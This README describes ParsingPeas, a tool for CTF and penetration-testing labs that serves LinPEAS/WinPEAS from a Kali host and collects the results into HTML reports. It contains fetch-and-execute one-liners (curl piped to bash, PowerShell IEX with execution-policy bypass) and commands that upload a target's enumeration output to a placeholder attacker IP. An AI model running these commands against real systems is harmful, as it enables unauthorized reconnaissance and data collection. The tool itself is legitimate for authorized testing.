ParsingPeas 🥒

Automated PEAS output collection and HTML report generation for CTF environments

Run one command on the target to automatically download LinPEAS or WinPEAS from your Kali host, execute the scan, transfer results, and generate an interactive HTML report.

---

Features

• Zero manual file transfer - Fully automated workflow
• Works offline - Target doesn't need internet access
• Interactive HTML reports - Categorized findings with color coding
• Multi-session support - Handle multiple concurrent scans
• Non-interactive sudo patching - Prevents scan hangs

---

Quick Start

On Kali Host

git clone https://github.com/YuvalMil/ParsingPeas.git
cd ParsingPeas
./setup.sh              # Downloads LinPEAS/WinPEAS
pip3 install -r requirements.txt
python3 receiver.py     # Starts on http://0.0.0.0:8000

On Target Machine

Linux/Unix:

curl -sSL http://YOUR_KALI_IP:8000/get-script | bash

Windows (PowerShell):

powershell -ExecutionPolicy Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_KALI_IP:8000/wrapper-inline.ps1')"

View Reports

Navigate to http://YOUR_KALI_IP:8000 in your browser.

---

How It Works

Target → Downloads script from Kali → Runs PEAS (LinPEAS/WinPEAS) → POSTs output → Kali parses → HTML report

The target never needs internet - everything is served from your Kali host. The server automatically detects the target OS and serves the appropriate PEAS script.

---

Manual Usage

If the one-liner fails:

Linux/Unix

# On target
curl http://KALI_IP:8000/get-linpeas -o /tmp/lp.sh
chmod +x /tmp/lp.sh
/tmp/lp.sh > /tmp/out.txt

# Transfer
curl -X POST -H "X-Hostname: $(hostname)" -H "X-Scan-Type: linpeas" \
  --data-binary @/tmp/out.txt http://KALI_IP:8000/upload

Windows

# On target (PowerShell)
Invoke-WebRequest -Uri http://KALI_IP:8000/get-winpeas -OutFile $env:TEMP\wp.exe
& "$env:TEMP\wp.exe" > $env:TEMP\out.txt

# Transfer
$hostname = $env:COMPUTERNAME
Invoke-WebRequest -Uri http://KALI_IP:8000/upload `
  -Method POST `
  -Headers @{"X-Hostname"=$hostname; "X-Scan-Type"="winpeas"} `
  -InFile $env:TEMP\out.txt

Parse local files:

python3 parser.py /path/to/peas_output.txt

---

Troubleshooting

Can't download script?

• Check connectivity: curl http://KALI_IP:8000/health
• Open firewall: sudo ufw allow 8000/tcp

404 errors?

• Run ./setup.sh to download LinPEAS/WinPEAS

Scan hangs at sudo?

• Update to latest: git pull

---

Configuration

Edit receiver.py to change:

• Port (default: 8000)
• Output directories
• Max upload size (default: 10MB)

---

Security

⚠️ For authorized penetration testing only

• No authentication - use in isolated environments
• Add firewall rules to restrict access
• Not for production use without hardening

---

Credits

Built on PEASS-ng by @carlospolop

---

MIT License | Contributions welcome